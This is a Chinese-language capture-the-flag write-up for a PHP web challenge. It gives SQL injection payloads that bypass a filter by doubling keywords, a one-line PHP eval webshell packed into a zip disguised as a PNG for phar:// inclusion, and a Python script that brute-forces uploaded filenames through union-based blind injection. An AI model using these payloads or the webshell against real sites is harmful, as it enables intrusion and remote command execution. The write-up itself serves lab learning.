看这个url敏锐点的人立刻就意识到可以改成register,或许就能注册了,事实也确实是如此
注册个123,123然后登录
然后可以发现这里有个上传和下载功能,但只能上传图片文件,选择查看的时候可以发现这里的url形式是?id=啥啥啥,还是一句话,敏锐点的人肯定会开始测试sql了
然后在测试这个收藏的时候发现是个下载文件的功能,并且测试这个功能的时候能发现这里有个注入可以双写绕过滤查文件,但这里的文件名只有用十六进制转化一下才能正常查,否则显示无此文件
感觉这一步比较看经验了,payload就是:
image=-1 ununionion seselectlect 16进制文件名&image_download=%E6%94%B6%E8%97%8F
因此这里其实只要知道flag的名字其实能直接查了,试了下,buuoj上flag名叫F1AglsH3r3G00d.php,ctfshow上叫flagishere.php
image=-1 uniunionon seselectlect 0x46314167497348337233473030642e706870&image_download=%E6%94%B6%E8%97%8F
image=-1 uniunionon seselectlect 0x666c61676973686572652e706870&image_download=%E6%94%B6%E8%97%8F
但这样就没啥意思了,好孩子别试!还是老老实实看代码找突破口吧😂
依次查看网站的php代码,有几个关键的地方:
function d_addslashes($array){
foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc()&&$value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key] = d_addslashes($array[$key]);
}
}
return $array;
}
function filter($id){
$id = strtolower($id);
$id = str_replace('select', '', $id);
$id = str_replace('update', '', $id);
$id = str_replace('insert', '', $id);
$id = str_replace('delete', '', $id);
$id = str_replace('and', '', $id);
$id = str_replace('or', '', $id);
$id = str_replace('where', '', $id);
$id = str_replace('union', '', $id);
$id = str_replace('like', '', $id);
$id = str_replace('regexp', '', $id);
$id = str_replace('is', '', $id);
$id = str_replace('=', '', $id);
$id = str_replace(',', '', $id);
$id = str_replace('|', '', $id);
$id = str_replace('&', '', $id);
$id = str_replace('!', '', $id);
$id = str_replace('%', '', $id);
$id = str_replace('^', '', $id);
$id = str_replace('<', '', $id);
$id = str_replace('>', '', $id);
$id = str_replace('*', '', $id);
$id = str_replace('(', '', $id);
$id = str_replace(')', '', $id);
return $id ;
}
function random_str($length = "32")
{
$set = array("a", "b", "c", "d", "e", "f",
"g", "h", "i", "j", "k", "l",
"m","n", "o", "p", "q", "r","s","t","u","v", "w","x",
"y","z","1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
return $str;
}
include("config.php");
$_POST = d_addslashes($_POST);
$_GET = d_addslashes($_GET);
$file = isset($_GET['file'])?$_GET['file']:"home";
// echo $file;
if(preg_match('/\.\.|^[\s]*\/|^[\s]*php:|filter/i',$file)){
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
die();
}
$filename = $file.".php";
if(!include($filename)){
if(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){
header("Location: index.php?file=login");
die();
}
简单点概括,过滤确实导致php://filter不可用,但没有禁止phar协议,因此可以上传一个zip文件,文件中存在一个shell文件,然后使file=phar://path/xx/jpg/xx,因为.php后缀会被自动添加,所以xxx后面无须写其他东西,就是我们上传上去的图片被重名了,所以得爆破。这段话来自大佬的wp,他概括的挺好的,我就不画蛇添足了。
所以我们解题的步骤就是先写个马,比如一个shell.php:
<?php @eval($_POST[value]);?>
然后把它压缩成shell.zip,然后改后缀改成shell.png把它传上去,这是爆破文件名的脚本:
import requests
def getFilename():
data="image=3%20ununionion%20selselectect%200x{filename}%20oorrder%20by%201&image_download=%E6%94%B6%E8%97%8F"
url = "http://d902724d-6777-4419-b05f-a60c24d92924.node4.buuoj.cn:81/downfile.php"
headers = {
"Content-Type":"application/x-www-form-urlencoded",
"Cookie":"PHPSESSID=ho7tchg66j9s8bhqjkmh70alv1",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"
}
randStr="0123456789abcdefghijklmnopqrstuvwxyz{"
fileName = "./Up10aDs/"
for _ in range(33):
print("[*]",fileName)
for i in range(len(randStr)):
tmpFileName = fileName+randStr[i]
res =requests.post(url,data=data.format(filename=tmpFileName.encode("utf-8").hex() ),headers=headers)
if "file may be deleted" not in res.text:
fileName = fileName + randStr[i-1]
break
getFilename()
简单解释一下这脚本咋用的,比如我这里shell.png的id是3,因此我那个脚本里的语句是:
data="image=3%20ununionion%20selselectect%200x{filename}%20oorrder%20by%201&image_download=%E6%94%B6%E8%97%8F"
所以你们用的话图片id不同或者名字不同要适当改改,然后我这里跑出来文件名是/Up10aDs/bydjke4pz54tpfy714yvjrrmlqxr8jwj
所以phar包含一下,payload就是
url/index.php?file=phar://Up10aDs/bydjke4pz54tpfy714yvjrrmlqxr8jwj.png/shell
然后用echo `ls`
这种形式读取一下执行命令的回显即可
打通完再来解释一下那个sql是怎么注入的(如果是我看博客的话发现人家的做法根本复现不了的话我是完全不会想看他的内容的😂),我的实际注入语句其实是:
select location from image where id=3 union select 0x{filename} order by 1
运用的原理来自于:基于union查询的盲注(感谢pcat牛不吝赐教),简单来说就是通过判断前后两个select语句返回的数据前后顺序来进行盲注。